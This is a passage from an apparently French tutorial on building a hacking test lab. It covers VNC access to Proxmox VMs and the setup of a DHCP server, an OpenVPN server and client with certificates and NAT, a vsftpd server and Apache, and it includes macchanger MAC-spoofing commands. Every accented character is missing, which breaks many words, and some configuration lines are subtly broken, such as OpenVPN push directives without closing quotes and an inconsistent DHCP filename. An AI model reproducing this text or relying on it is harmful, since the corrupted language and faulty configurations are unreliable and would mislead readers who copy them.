La procdure est encore plus simple sous Linux. Si vous tes sous Debian, TightVNC se trouve dans les dpts : root@bt:~# aptitude search tightvnc p tightvnc-java - TightVNC java applet and command line program p tightvncserver - virtual network computing server software c xtightvncviewer - virtual network computing client software for X root@bt:~# Un simple aptitude install fera laffaire. Bien souvent, le paquet est dj install avec la distribution. root@bt:~# aptitude install xtightvncviewer Reading package lists... Done Building dependency tree Reading state information... Done Reading extended state information Initializing package states... Done The following NEW packages will be installed: xtightvncviewer 0 packages upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 63.7kB of archives. After unpacking 201kB will be used. 1.3.9-6) ... ... Processing triggers for menu ... Reading package lists... Done Building dependency tree Reading state information... Done Reading extended state information Initializing package states... Done Writing extended state information... Done
root@bt:~# Le client VNC peut alors tre lanc en prcisant lIP du serveur et le port dcoute. root@bt:~# vncviewer 10.5.5.2::6000
VNC Viewer Free Edition 4.1.1 for X - built Apr 9 2010 15:52:37 Copyright (C) 2002-2005 RealVNC Ltd. See http://www.realvnc.com for information on VNC.
Sat Apr 6 09:35:41 2013 CConn: connected to host 10.5.5.2 port 6000 CConnection: Server supports RFB protocol version 3.8 CConnection: Using RFB protocol version 3.8 TXImage: Using default colormap and visual, TrueColor, depth 24. CConn: Using pixel format depth 6 (8bpp) rgb222 CConn: Using ZRLE encoding Nous voyons la connexion stablir et nous nous trouvons face lcran de la VM dID 500.
Ici, nous ne trouvons pas le menu de configuration comme sous Windows, mais nous pouvons faire apparatre celui-ci en pressant [F8]. Le fait de passer par le serveur vncproxy du Proxmox permet daccder toutes les VM sans distinction de systme dexploitation et en vitant la console Java. Cela permet aussi linstallation de tout type de systme dexploitation. Attention, la procdure que nous avons indique ici est purement pratique dans le cadre dun laboratoire. Elle nest absolument pas scurise, car tout le monde peut se connecter aux VM sans restriction et les communications ne sont pas chiffres. Par la suite, une fois les systmes installs sur les VM, il est possible denvisager toutes les techniques dadministration distante, par exemple : Installer un serveur VNC directement sur le systme de la VM. Utiliser Rdesktop pour les machines Windows. Utiliser SSH pour les machines Linux. Utiliser des services de connexions de machines par serveur extrieur intermdiaire comme TeamViewer ou Logmein. tablir une connexion VNC chiffre par un certificat sur Proxmox. Toutes ces techniques dpassent le cadre de notre laboratoire de test et nous ne les dvelopperons pas ici. Nous vous conseillons malgr tout dans le cadre dune mise en production de vous intresser de prs celles-ci. Conclusion Ce chapitre nous a montr la puissance quoffre la mise en place dun serveur Proxmox. Si la cration de machines virtuelles avec KVM permet dmuler le matriel et dinstaller des systmes complets, nous constatons que son utilisation est moins souple que celle dOpenVZ. Cest pour cette raison que nous vous conseillons dutiliser plutt des conteneurs quand cela est possible. Proxmox offre bien dautres possibilits et nous navons parcouru que celles qui nous paraissaient essentielles pour la mise en place de notre laboratoire de test. Pour passer une relle mise en production de services sur ce type de serveur, nous ne saurions trop vous conseiller de vous reporter la documentation de Proxmox. Notre laboratoire nest pas encore prt pour commencer des tests de pntration. Il faut prsent mettre en place tout ce qui est rencontr couramment dans un rseau dentreprise, priv ou dadministration. Le chapitre suivant va tre consacr ces installations. Machines virtuelles et services Introduction Le Proxmox tant install, nous allons nous atteler crer diffrentes machines virtuelles telles que prsentes dans le chapitre Proxmox. Pour chacune des parties suivantes, nous aurons, au pralable, install une machine virtuelle sous Debian. Nous ne reviendrons pas sur linstallation des diffrentes machines virtuelles mais nous nous concentrerons sur les services installer. Nous aurons besoin, pour la cration de notre laboratoire, de desservir du DHCP, davoir accs en VPN sur notre Proxmox, davoir un accs un serveur FTP, de disposer dun serveur sous asterisk pour tester la VoIP, de diffrentes autres machines o nous installerons des preuves de hacking telles que des crackmes, des wargames, des failles web, mais nous aurons aussi besoin de superviser tout cela. Dans ce chapitre, nous crerons et installerons puis configurerons les diffrentes machines suivant nos besoins afin davoir la fin du chapitre un laboratoire fonctionnel de hacking. Serveur DHCP Nous aurons peut-tre un certain moment besoin de donner des adresses IP nos diffrentes machines, quelles soient virtuelles ou relles. Un serveur DHCP nous simplifiera la vie et nous permettra dattribuer des adresses IP alatoires ou non suivant la configuration de ce dernier. Nous ferons le choix de distribuer des adresses IP fixes pour nos machines virtuelles et des adresses IP dynamiques pour les autres machines, cest--dire nos machines clientes. 1. Installation des paquets ncessaires Nous allons dabord installer les paquets ncessaires : fasm# aptitude install isc-dhcp-server
Le paquet est maintenant install mais le serveur DHCP ne peut pas se lancer pour linstant ; nous devons configurer le serveur. Le service qui tait avant dhcpd est maintenant devenu isc-dhcp-server. Rappelons ici que pour lancer le serveur comme la plupart des services sous Debian et Ubuntu, le stopper ou le relancer, nous pourrons utiliser ces commandes : fasm# service isc-dhcp-server start|stop|restart 2. Configuration Le fichier de configuration se trouve dans /etc/dhcp et se nomme dhcp.conf. Nous pouvons ouvrir ce fichier :
Ci-dessus nous avons bien sr un extrait de la configuration par dfaut. La plupart des possibilits offertes par ce serveur DHCP sont crites mais dvalides grce au signe # qui se trouve devant la ligne. Nous avons juste supprimer le # et modifier la configuration en fonction de notre rseau (masque de rseau, adressage IP, passerelle, DNS) suivant ce que nous avons dcid comme distribution dadresses DHCP. Ce qui nous importe est la partie qui va nous permettre dattribuer des adresses IP dynamiques pour les machines clientes et des adresses IP fixes pour les machines virtuelles. Il nous faudra donc dj pour ces dernires connatre leur adresse MAC. Un simple ifconfig nous fournira ces informations :
Ladresse MAC par exemple pour cette machine virtuelle est, pour linterface rseau eth0, 08:00:27:5e:7b:a7. eth0 est le nom de notre carte rseau sous Linux ; cela aurait pu tre eth1, eth2 wlan0 ou autre suivant notre type de liaison (filaire ou Wi-Fi). Nous pouvons donc maintenant commencer configurer le fichier /etc/dhcp/dhcpd.conf. Nous allons donc ouvrir ce fichier, grce nano par exemple, et indiquer les adresses MAC correspondant des adresses IP suivant le plan dadressage que nous aurons dfini, par exemple, 192.168.1.0 / 24.
Dans lexemple ci-dessus, deux machines sont configures en adresses IP fixes, la machine vm_ftp dadresse MAC 08:00:27:5e:7b:a7 et la machine vm_web dadresse MAC 08:00:27:5e:7b:a2 qui auront respectivement les adresses IP 192.168.1.2 et 192.168.1.3. La configuration type pour chaque machine est : host nom_machine { hardware ethernet adresse_MAC ; fixed-address adresse_IP ; } Nous pourrons de la mme manire imposer les adresses IP en fonction des adresses MAC des autres machines virtuelles. Rappelons que ladresse MAC est compose de six octets spars par des : et que les trois premiers octets sont lidentifiant du constructeur et les trois derniers, un numro unique correspondant linterface rseau. En thorie, cette adresse MAC est unique et devait tre infalsifiable sa cration mais nous en sommes loin car une simple commande Linux permet de la changer. Nous pourrons si nous le souhaitons installer le paquet macchanger qui permet de changer ces adresses MAC mais au redmarrage de la machine, ladresse MAC dorigine sera restaure. fasm# aptitude install macchanger macchanger-gtk Les commandes suivantes permettent de changer entre autres votre adresse MAC : # macchanger eth1 Current MAC: 00:40:96:43:ef:9c [wireless] (Cisco/Aironet 4800/340) Faked MAC: 00:40:96:43:ef:9d [wireless] (Cisco/Aironet 4800/340) # macchanger --endding eth1 Current MAC: 00:40:96:43:e8:ec [wireless] (Cisco/Aironet 4800/340) Faked MAC: 00:40:96:6f:0f:f2 [wireless] (Cisco/Aironet 4800/340) # macchanger --another eth1 Current MAC: 00:40:96:43:87:1f [wireless] (Cisco/Aironet 4800/340) Faked MAC: 00:02:2d:ec:00:6f [wireless] (Lucent Wavelan IEEE) # macchanger -A eth1 Current MAC: 00:40:96:43:39:a6 [wireless] (Cisco/Aironet 4800/340) Faked MAC: 00:10:5a:1e:06:93 (3Com, Fast Etherlink XL in a Gateway) # macchanger -r eth1 Current MAC: 00:40:96:43:f1:fc [wireless] (Cisco/Aironet 4800/340) Faked MAC: 6b:fd:10:37:d2:34 (unknown) # macchanger --mac=01:23:45:67:89:AB eth1 Current MAC: 00:40:96:43:87:65 [wireless] (Cisco/Aironet 4800/340) Faked MAC: 01:23:45:67:89:ab (unknown) # ./macchanger -list=Cray Misc MACs: Num MAC Vendor --- --- ------ 065 -- 00:00:7d -- Cray Research Superservers,Inc 068 -- 00:00:80 -- Cray Communications (formerly Dowty Network Services) 317 -- 00:40:a6 -- Cray Research Inc. Il nous faudra bien sr configurer chaque machine virtuelle pour que leur interface, eth0 par exemple, soit en DHCP (client). Nous verrons cela lorsque nous aurons fini de configurer le serveur. Nous pouvons passer maintenant la configuration des machines clientes qui seront en adressage dynamique. Ces machines devront bien sr tre sur la mme plage rseau que les diffrentes VM afin quelles puissent communiquer.
Nous avons ci-dessus la configuration correspondant ladressage des machines virtuelles, soit de 192.168.1.20 192.168.1.100. Comme dit prcdemment, ces machines seront en adressage dynamique, cest--dire quelles pourraient changer dadresse IP chaque redmarrage. Nous aurions pu bien sr limiter le nombre de machines et nautoriser qu distribuer des adresses IP allant de 192.168.1.20 192.168.1.30 si nous navions besoin que de 11 machines virtuelles (le principe est identique pour des machines non virtuelles). La configuration minimale pour dterminer des adresses IP statiques est donc : Subnet adresse_reseau netmask masque_reseau { range ip_premiere_machine ip_derniere_machine ; option routeurs ip_passerelle ; } Il existe bien sr beaucoup doptions et configurations possibles, nous pourrons pour cela aller rechercher sur Internet toutes les possibilits offertes par le serveur DHCP suivant nos besoins. Les machines qui se connecteront en DHCP sur ce rseau obtiendront donc automatiquement une adresse IP. Sous Linux, il suffit deffectuer la commande suivante pour obtenir une adresse IP : client1# dhclient eth0 On suppose bien sr que linterface rseau du client est eth0. Pour connatre le nom des diffrentes cartes rseau de notre machine, il suffit dexcuter la commande suivante : fasm# ifconfig -a Si nous effectuons un simple ifconfig et que nous ne voyons pas de carte rseau ou pas toutes, imaginons que ce soit eth1 que nous ne voyons pas, il suffit de faire : fasm#ifconfig eth1 up Avant de tenter de lancer le serveur DHCP, il va falloir que la machine virtuelle DHCP ait une adresse IP statique dans la plage rseau configure dans dhcpd.conf. Nous allons pour cela configurer le fichier interfaces qui se trouve dans /etc/network. Nous lui attribuerons ladresse IP 192.168.1.1. Nous pouvons ouvrir ce fichier grce nano par exemple : fasm#nano /etc/network/interfaces
La configuration par dfaut est une demande DHCP. Nous devons donc changer cela pour une adresse IP statique. Ainsi, chaque redmarrage, la machine aura toujours la mme adresse IP.
Nous pouvons maintenant relancer les interfaces rseau. Pour cela, nous devrons nous rendre dans /etc/init.d afin de trouver le dmon rseau qui se nomme networking. La commande sera donc : fasm #/etc/init.d/networking restart Si nous souhaitons juste le stopper, nous remplacerons restart par stop ou par start si nous voulons le lancer.
Nous voyons ici que dans la partie eth0, aprs inet adr:, nous avons notre adresse IP inscrite avec un masque en /24 en notation CIDR, soit 255.255.255.0. La configuration a russi ; nous pouvons tenter de lancer le serveur DHCP.
Tout fonctionne parfaitement, nous avons maintenant un serveur DHCP fonctionnel. Nous pourrons tester le bon fonctionnement ds que nous aurons une autre machine virtuelle dans laquelle nous lancerons un dhclient eth0 par exemple et quune adresse IP sera distribue. Nous pouvons passer linstallation et la configuration des autres services. OpenVPN OpenVPN est une solution qui se base sur SSL et son port est 1194. Il est compos dun serveur et de clients. Il va donc y avoir une authentification du client et du serveur et la cration dun canal scuris entre les deux. Ce service est assez simple configurer si nous suivons bien la procdure dcrite ci-dessous. Nous devons maintenant, avec le chapitre Proxmox, avoir toutes les notions ncessaires et connatre parfaitement la dfinition et le fonctionnement de route et bridge. Rappelons quand mme quil existe deux modes de fonctionnement, le rout et le bridg : Le mode rout permet de connecter des utilisateurs itinrants un rseau interne. Nous appelons aussi cela le NAT. Dans une machine virtuelle en NAT, la machine aura une adresse diffrente (rseau diffrent) de la machine relle. Par exemple, la machine relle pourra tre en 192.168.1.0 et les machines en NAT en 10.2.0.0. Le mode pont ou bridg permet de relier entre eux deux sous-rseaux. Nous pourrons dans ce cas avoir par exemple la machine relle dans la mme plage dadresse IP que la machine virtuelle. Grce OpenVPN, nous allons pouvoir accder de nimporte o dans le monde nos ressources locales de manire scurise, soit ici notre laboratoire. 1. Installation des paquets Ici encore rien de plus facile, un simple aptitude install et le logiciel est install sur notre machine, qui, je le rappelle, peut tre une nouvelle machine virtuelle sous Debian par exemple. Nous aurions pu aussi installer le VPN sur la mme machine que la VM DHCP mais nous prfrons ici une machine par service. fasm# aptitude install openvpn
Nous allons ensuite copier les fichiers de configuration : sudo mkdir /etc/openvpn/easy-rsa/ sudo cp -r /usr/share/doc/openvpn/examples/easy-rsa/2.0/* /etc/ openvpn/easy-rsa/ sudo chown -R $USER /etc/openvpn/easy-rsa/
Nous sommes prts pour configurer maintenant le serveur et le client. 2. Configuration a. Serveur Nous allons regarder ce qui a t copi dans le rpertoire easy-rsa :
ditons le fichier vars.
Nous avons ici les valeurs par dfaut des variables. Nous allons donc entrer ce que nous dsirons, par exemple :
Nous allons maintenant gnrer les certificats (.crt) et les cls (.key) : cd /etc/openvpn/easy-rsa/ source vars ./clean-all ./build-dh ./pkitool -initca ./pkitool -server server sudo openvpn -genkey -secret keys/ta.key
Il nous reste excuter la dernire commande et aller voir si les cls ont bien t gnres dans le rpertoire keys :
Les cls et certificats sont donc bien prsents. Ce qui nous intresse, ce sont les fichiers server.crt, server.key, ta.key, dh1024.pem, ca.key et ca.crt. Nous avons besoin de les dplacer. Nous pouvons donc les copier dans /etc/openvpn : sudo cp keys/ca.crt keys/ta.key keys/server.crt keys/server.key keys/dh1024.pem /etc/openvpn/ La cration des certificats du ct serveur est termine. Nous pouvons maintenant gnrer un rpertoire /etc/openvpn/jail dans lequel le processus OpenVPN sera chroot (cest--dire que chacun sera prisonnier de son espace personnel) afin de limiter les dgts en cas de faille dans OpenVPN, puis un autre rpertoire, /etc/openvpn/clientconf, qui contiendra la configuration des clients. Chrooter un programme consiste le lancer en utilisant la commande chroot. Cette commande permet de changer lemplacement de la racine (/). Cest--dire que les utilisateurs auront limpression dtre la racine (/) alors quen ralit ils se trouveront dans /etc/openvpn/jail. Dun point de vue scurit, ils seront comme enferms dans ce rpertoire et ne pourrons en thorie pas en sortir. sudo mkdir /etc/openvpn/jail sudo mkdir /etc/openvpn/clientconf Nous pouvons maintenant passer au fichier de configuration principal et crer le fichier server.conf qui se trouve dans /etc/openvpn/. fasm# nano server.conf
# Serveur TCP/443 mode server dev tun proto tcp port 443 dev tun # Cles et certificats ca ca.crt cert server.crt key server.key dh dh1024.pem tls-auth ta.key 0 cipher AES-256-CBC # Reseau server 10.8.0.0 255.255.255.0 push "redirect-gateway def1 bypass-dhcp" push "dhcp-option DNS 8.8.8.8 push "dhcp-option DNS 8.8.4.4 keepalive 10 120 # Securite user nobody group nogroup chroot /etc/openvpn/jail persist-key persist-tun comp-lzo # Log verb 3 mute 20 status openvpn-status.log ; log-append /var/log/openvpn.log Le fichier server.conf est configur sur le port 443 en TCP mais nous pouvons bien sr dfinir le protocole UDP et le port que nous souhaitons. Nous pouvons maintenant tester notre configuration : fasm#openvpn server.conf
Nous obtenons la fin Sequence Completed . La configuration prcdente est donc correcte. Nous pouvons reprendre le fichier prcdent afin dajouter une dernire ligne : log-append /var/log/openvpn.log Nous pouvons lancer le serveur maintenant : fasm# /etc/init.d/openvpn start Le serveur est lanc, le client peut se connecter sur ce dernier mais nous ne pouvons pas faire grand-chose de plus. En effet, la plage dadresses 10.8.0.0 nest pas route. Il va donc falloir maintenant router cela. Nous allons donc configurer le serveur pour quil joue le rle de routeur entre linterface VPN (tun0) et linterface physique eth0 et natter les adresses en 10.8.0.x vers ladresse relle. Nous aurions pu configurer le serveur non pas en tun mais en tap . La littrature dOpenVPN nous indique quil est souhaitable de rester en tun. Tun et tap sont des priphriques virtuels. Tap simule un lien (link layer) et se situe au niveau de la couche 2 du modle OSI. Tun est un tunnel rseau qui simule un priphrique de la couche Ethernet et qui travaille avec la couche 3 du modle OSI comme les paquets IP. Nous allons dabord autoriser le forwarding (routage) : fasm# echo 1 > /proc/sys/net/ipv4/ip_forward Pour rendre ce paramtre permanent, mme aprs un redmarrage, nous devons entrer dans le fichier /etc/sysctl.conf et mettre la variable net.ipv4.ip_forward=1, cette variable tant dj prsente dans le fichier de configuration mais initialise 0. Nous devons maintenant raliser la translation dadresse (NAT) et ce, grce aux rgles iptables. Iptables sera vu en dtail dans le chapitre Scurisation du PC qui parlera de scurisation des systmes. Mais pour linstant, contentons-nous dappliquer la rgle suivante : fasm#iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE Pour tre concis pour linstant, tout ce qui transite par le rseau 10.8.0.0/24 est transfr vers la carte rseau eth0. Nous obtenons donc directement, ds la validation de cette rgle, laccs au rseau, surtout Internet, du client connect au VPN. Nous pouvons bien entendu rendre cette rgle fixe mme au redmarrage en sauvegardant celle-ci. iptables-save > /etc/iptables.rules Le serveur est prt, nous pouvons configurer prsent le client. b. Client Nous allons encore un peu rester sur le serveur, nous devons en effet gnrer les cls pour chaque client que nous souhaitons accueillir. Supposons que nous souhaitions crer une cl pour un client Franck. Nous devons dabord nous rendre dans le dossier appropri et gnrer ensuite la cl. cd /etc/openvpn/easy-rsa source vars ./build-key Franck Voici ce que nous obtenons :
Le script a gnr trois fichiers dans /etc/openvpn/easy-rsa/keys/ : Franck.crt : certificat pour le client Franck.key : cl pour le client Franck.csr : certificat garder sur le serveur Pour nous simplifier la tche, nous allons crer une archive avec les cls afin de transmettre facilement ces dernires au client. Nous allons pour cela copier les fichiers ncessaires pour le client dans son dossier sur le serveur, dossier que nous allons crer. fasm#mkdir /etc/openvpn/clientconf/Franck fasm#cp /etc/openvpn/ca.crt /etc/openvpn/ta.key keys/Franck.crt keys/Franck.key /etc/openvpn/clientconf/Franck Nous allons maintenant entrer dans le rpertoire du client puis configurer un fichier que nous nommerons client.conf. fasm#cd /etc/openvpn/clientconf/Franck fasm# nano client.conf # Client client dev tun proto tcp-client #adresse IP du serveur VPN remote 192.168.1.2 443 resolv-retry infinite cipher AES-256-CBC # Cles ca ca.crt cert Franck.crt key Franck.key tls-auth ta.key 1 # Securite nobind persist-key persist-tun comp-lzo verb 3 Si nous souhaitons utiliser OpenVPN sous Windows, il nous suffira de renommer ce fichier client.conf en client.ovpn. Nous excuterons donc la commande : fasm#cp client.conf client.ovpn Il suffit maintenant de transfrer tous ces fichiers au client en le zippant par exemple grce la commande zip. fasm@/etc/openvpn/clientconf/Franck# zip Franck.zip *.* Nous pouvons transfrer ce fichier au client qui le dzippera dans un rpertoire quil aura pralablement cr (exemple : /home/fasm/vpn/). Sur le client, ds rception du fichier, nous nous placerons dans le rpertoire dsir et nous excuterons : Client$unzip Franck.zip Le client se placera ensuite dans ce rpertoire et lancera la commande : Client# openvpn client.conf Si tout se passe bien, nous obtiendrons lcran suivant :
Voil, nous sommes dans un VPN, une connexion scurise, et partir de maintenant, nimporte o dans le monde, nous avons accs nos machines. Que se passe-t-il si nous sommes dans une entreprise et que nous passons par un proxy ? Dans ce cas, pas de problme, il suffit dajouter une ligne dans le client.conf : http-proxy adresse_ip_proxy port_proxy passwd.txt basic Le fichier passwd.txt qui se trouvera dans le mme rpertoire que client.conf comportera en premire ligne votre login de connexion et en deuxime ligne votre mot de passe. Serveur FTP Nous aurons besoin dans notre laboratoire de mettre disposition de la documentation, des binaires ou autres. Un moyen rapide et efficace est davoir disposition un serveur FTP. Il en existe beaucoup, nous prendrons VsFTP. Que souhaitons-nous ? Que chaque utilisateur se connecte avec un identifiant propre. Le systme pourra ainsi garder la trace des actions de chacun (savoir qui fait quoi). Que chaque utilisateur dispose dun espace o il puisse stocker ses fichiers de faon prive. Que chaque utilisateur puisse accder un espace public. Tout cela est faisable facilement grce vsftpd (Very Secure FTPd ) qui quipe des serveurs FTP tels que ceux de Red Hat, Suse, OpenBSD, kernel.org et Debian. 1. Installation L non plus, rien de trs compliqu : il suffit dexcuter la commande ci-aprs : fasm#aptitude install vsftpd Ceci, dans une nouvelle machine virtuelle nomme par exemple VM-FTP. Linstallation est termine. 2. Configuration Ici, pas trop de questions se poser, nous naurons quun seul fichier de configuration modifier. Par dfaut, si nous laissons le fichier dinstallation, nous pouvons nous connecter en anonyme sur le serveur FTP (aprs lavoir lanc, bien sr). Nous allons donc modifier tout cela pour ladapter notre vision du FTP. Nous allons ouvrir le fichier vsftpd.conf qui se trouve dans /etc/. Dans le fichier ci-dessous, nous avons pour chaque configuration, lexplication incluse juste au-dessus. # Nous voulons que le serveur fonctionne en mode standalone listen=YES # # On ne veut surtout pas de connexions en mode anonymous anonymous_enable=NO # # On veut que les utilisateurs locaux puissent se connecter local_enable=YES # # On veut que les utilisateurs puissent remonter des fichiers sur # le serveur write_enable=YES # # On fixe le masque local a 022 (les fichiers remonts auront # des droits en 755) local_umask=022 # # On interdit lupload anonyme anon_upload_enable=NO # # Idem pour la creation de repertoires anon_mkdir_write_enable=NO # # On demande a ce que les actions des utilisateurs soient loguees xferlog_enable=YES # # On verifie que la commande PORT provient bien du port 20 de # la machine cliente connect_from_port_20=YES # # Les logs seront enregistres dans le fichier /var/log/vsftpd.log xferlog_file=/var/log/vsftpd.log # # On declare les valeurs de timeout. Celles fournies par defaut # sont ok pour notre utilisation idle_session_timeout=300 data_connection_timeout=120 connect_timeout=60 accept_timeout=60 # # Par securite, on interdit la commande ABOR async_abor_enable=NO # # Les transferts en ASCII sont souvent source de confusion ascii_upload_enable=NO ascii_download_enable=NO # # Par securite, on change la banniere ftpd_banner=Bienvenue sur le serveur du Laboratoire de Hacking # # On veut limiter les utilisateurs a leur repertoire chroot_local_user=YES chroot_list_enable=NO # # Les heures denregistrement des fichiers seront affichees a # lheure locale use_localtime=YES Nous pouvons maintenant tenter de lancer le serveur FTP : fasm#/etc/init.d/vsftpd start
Le serveur est lanc. Les utilisateurs ont accs leur rpertoire personnel (il faut que les utilisateurs aient tous t crs sur le serveur) et leurs actions sur le serveur sont enregistres dans /var/log/vsftpd.log. Nous allons en crer un pour nous rappeler les commandes :
Dans lexemple ci-dessus, nous crons un utilisateur codej grce la commande adduser. Des renseignements nous sont demands dont le plus important, le mot de passe. Une fois reue la confirmation que les informations correctes ont t renseignes, lutilisateur a son espace personnel dans /home/codej. Nous pouvons crer autant dutilisateurs que nous le souhaitons. Nous continuerons par la cration dun espace commun tous les utilisateurs. Nous allons donc crer de nouveau un utilisateur que nous nommerons par exemple pour_tous . Les fichiers devront tre lus par nimporte quel utilisateur, nous allons donc devoir attribuer des droits ce rpertoire un peu spcial. fasm#chmod -R 755 /home/pour_tous fasm#chown pour_tous:pour_tous -R /home/pour_tous Nous donnons donc les droits 755 au fichier pour_tous. Cela veut dire que lutilisateur pour_tous a les droits en lecture, criture et excution. Le groupe pour_tous a les droits en lecture et excution et enfin, les autres ont les droits en lecture et excution. Nous allons maintenant crer dans chaque rpertoire de chaque utilisateur un rpertoire pour_tous . fasm#mkdir /home/codej/pour_tous fasm#chown codej:codej /home/codej/pour_tous fasm#chmod 755 /home/codej/pour_tous Nous devons ensuite crer le lien entre le rpertoire pour_tous de /home et le rpertoire pour_tous de chaque utilisateur. Nous allons pour cela aller dans le fichier /etc/fstab afin dajouter une ligne par utilisateur. fasm#nano /etc/fstab /home/pour_tous /home/codej/pour_tous auto bind,defaults 0 0 Nous pouvons maintenant monter ce rpertoire : fasm#mount /home/codej/pour_tous Nous pouvons nous connecter maintenant avec un client FTP quelconque, par exemple FileZilla, pour vrifier le bon fonctionnement de notre serveur FTP.
Nous sommes connects au serveur FTP. Nous pouvons maintenant mettre disposition les fichiers que nous voulons partager. Serveur web Dans les challenges de scurit informatique, les preuves les plus russies et les mieux apprcies sont les preuves web (dtection des failles web). Dans un prochain chapitre, nous verrons comment mettre en place ces preuves afin de tester notre capacit les rsoudre. Pour cela, nous avons besoin dun serveur web. Le plus clbre est Apache, il est produit par la Apache Software Foundation . 1. Installation fasm# aptitude install apache2
2. Configuration Une configuration minimale et beaucoup plus simple sera explique dans le prochain chapitre. Nous allons donc ici dtailler une installation un peu plus complique mais plus adaptable nos besoins. Tous les fichiers de configuration sont dans le rpertoire /etc/apache2. Si nous excutons une commande ls dans ce rpertoire, nous trouverons 9 fichiers qui ont chacun une utilit dtaille ci-dessous et qui est une traduction de la documentation officielle : httpd.conf est le fichier utilis par Apache1, il est conserv vide dans Apache2 pour assurer la rtrocompatibilit. Il ne nous servira pas. envvars est utilis pour dfinir des variables denvironnement propres Apache. ports.conf contient la directive Listen qui spcifie les adresses et les ports dcoute. apache2.conf est le fichier principal de configuration car cest partir de lui que tous les autres fichiers sont chargs. conf.d est un rpertoire qui contient plusieurs petits fichiers qui seront analyss par Apache. Le seul fichier pour le moment est charset, qui spcifie lencodage utiliser par dfaut. mods-available contient la liste des modules dApache installs. mods-enabled contient celle des modules utiliss. sites-available contient la liste des vhosts installs. sites-enabled contient celle des vhosts utiliss. Nous pouvons commencer par ouvrir le fichier ports.conf :
Pour restreindre lutilisation une ou plusieurs interfaces, il nous suffit de les spcifier, suivies du port. Il faut une directive Listen par interface. Si le serveur est connect avec une IP Internet et que nous souhaitons couter sur cette interface, nous ajouterons la directive Listen IP_Internet. Si le serveur est connect avec une IP locale et que nous souhaitons couter sur cette interface, nous ajouterons la directive Listen IP_locale. Si nous souhaitons couter sur un certain port, nous rajouterons Le_Port. Il est aussi possible de ne spcifier que le port et de ne pas renseigner ladresse IP : Listen Le_Port. Nous pourrons donc dfinir les interfaces en ouvrant le fichier ports.conf et en ajoutant : #interface (local ou internet) connecte sur port standard Listen X.X.X.X:80
# toutes les interfaces connectes sur port SSL Listen 443 Le prochain fichier diter pour la configuration est le fichier apache2.conf. Lexplication de cette configuration se trouve dans le fichier ci-dessous : # Rpertoire racine du serveur ServerRoot "/etc/apache2"
# Fichier de verrouillage (lock) du serveur # IL DOIT SE TROUVER SUR LE DISQUE LOCAL #<IfModule !mpm_winnt.c> #<IfModule !mpm_netware.c> LockFile /var/lock/apache2/accept.lock #</IfModule> #</IfModule>
# Fichier du PID: endroit o, son dmarrage, Apache doit stocker # son numro didentification de processus PidFile /var/run/apache2.pid
# Dlai dattente dpass : nombre de secondes avant de recevoir # et denvoyer un message de "Dlai dattente dpass" (timeout) Timeout 300
# Connexion persistante : alloue ou non les requtes persistantes # (plus dune requte par connexion). # Mettre "Off" pour dsactiver. KeepAlive On
# Nombre maximum de requtes alloues durant une connexion persistante. # 0 = non limit # Il est recommand de garder ce nombre assez haut pour des # performances maximales MaxKeepAliveRequests 100
# Nombre de secondes dattente pour la prochaine requte # dun mme client sur une mme connexion avant un timeout KeepAliveTimeout 15
# Configuration du mpm charg <IfModule mpm_prefork_module> # Nombre de processus serveurs fils crer au dmarrage. StartServers 5 # Nombre minimum de processus en attente dintercepter des requtes MinSpareServers 5 # Nombre maximum de processus en attente MaxSpareServers 15 # Nombre maximum de processus fils crs # pour intercepter les requtes simultanment MaxClients 150 # Limite le nombre de requtes quun processus fils intercepte # durant son temps de vie. Si 0 alors le processus nexpirera jamais. MaxRequestsPerChild 0 </IfModule>
<IfModule mpm_worker_module> StartServers 2 MaxClients 150 # Nombre minimum de processus en attente dintercepter les pics # de requtes MinSpareThreads 25 # Nombre maximum de processus en attente MaxSpareThreads 75 ThreadsPerChild 25 MaxRequestsPerChild 0 </IfModule>
# Utilisateur et Group sous lesquels les processus du serveur # seront lancs User www-data Group www-data
# Fichier de restriction des accs # non conseill, prfrer les directives internes au fichier # de configuration # voir [[http://httpd.apache.org/docs/2.2/howto/htaccess.html]] AccessFileName .htaccess
# Les lignes suivantes empchent les fichiers .htaccess et .htpasswd # dtre vus par les clients Web (i.e. les navigateurs). <Files ~ "\.ht"> Order allow,deny Deny from all Satisfy All </Files>
# Restriction de la racine du serveur <Directory /> Order Deny,Allow Deny from all Options None AllowOverride None </Directory>
# Fichier contenant la liste des conversions des extensions de fichiers # vers le type de contenu. # par dfaut ce fichier est reli au contenu enregistr lIANA. # http://www.iana.org/assignments/media-types/index.html. TypesConfig /etc/mime.types
# dfinit le type par dfaut des fichiers dont le type ne peut tre # dtermin par le serveur. # Il convient de le mettre "none" afin de ne pas fournir # dinformations errones. DefaultType none
# Active la rsolution DNS pour les noms dhtes HostnameLookups Off
# chemin du fichier de log des erreurs du serveur. ErrorLog /var/log/apache2/error.log
# niveau de log du serveur # emerg Messages Urgents - Le systme est inutilisable. # alert Messages dactions qui doivent tre effectues # immdiatement. # crit Messages critiques. # error Messages derreurs. # warn Messages davertissement. # notice Messages normaux mais qui ont une utilit # pour ladministrateur. # info Messages dinformations. # debug Messages de dbogage LogLevel warn
# format des lignes contenues dans les logs # %a Adresse ip distante. # %A Adresse ip local. # %B Taille de la rponse en octets, excluant len-tte HTTP. # %b Taille de la rponse en octets, excluant len-tte HTTP # au format CLF. # %{Foobar}C Contenu du cookie "Foobar" de la requte envoye au serveur. # %D Le temps mis servir la requte. # %{FOOBAR}e Contenu de la variable denvironnement "FOOBAR". # %f Nom du fichier. # %h Hte distant. # %H Le protocole demand. # %{Foobar}i Le contenu de "Foobar": Ligne(s) den-tte de la requte # envoye au serveur. # %l nom du fichier de log distant (de identd, sil est fourni). # cela retournera un tiret tant que //mod_ident// nest # pas prsent et //IdentityCheck// nest pas mis ON. # %m Mthode de la requte. # %{Foobar}n Contenu de la note "Foobar" provenant dun autre module. # %{Foobar}o Le contenu de "Foobar": Ligne(s) den-tte dans la rponse. # %p Port canonique du serveur qui sert la rponse. # %P Id du processus fils qui a servi la requte. # %{format}P Id du processus ou du thread fils qui a servi la requte. # Les formats valides sont pid, tid, et hextid. # hextid ncessite APR 1.2.0 ou suprieur. # %q Chanes de la requte (commenant avec un ? si une chane # de requte existe, sinon une chane vide). # %r Premire ligne de la requte. # %s Statut. Pour les requtes rediriges en interne, ceci est # la requte originale --- %>s pour la dernire. # %t Heure laquelle la requte a t reue (format standard # anglais mois jour anne). # %{format}t Lheure, au format prcis, qui doit tre dans les formats # de strftime(3). (potentiellement localis). # %T Le temps mis pour rpondre la requte. # %u Utilisateur distant 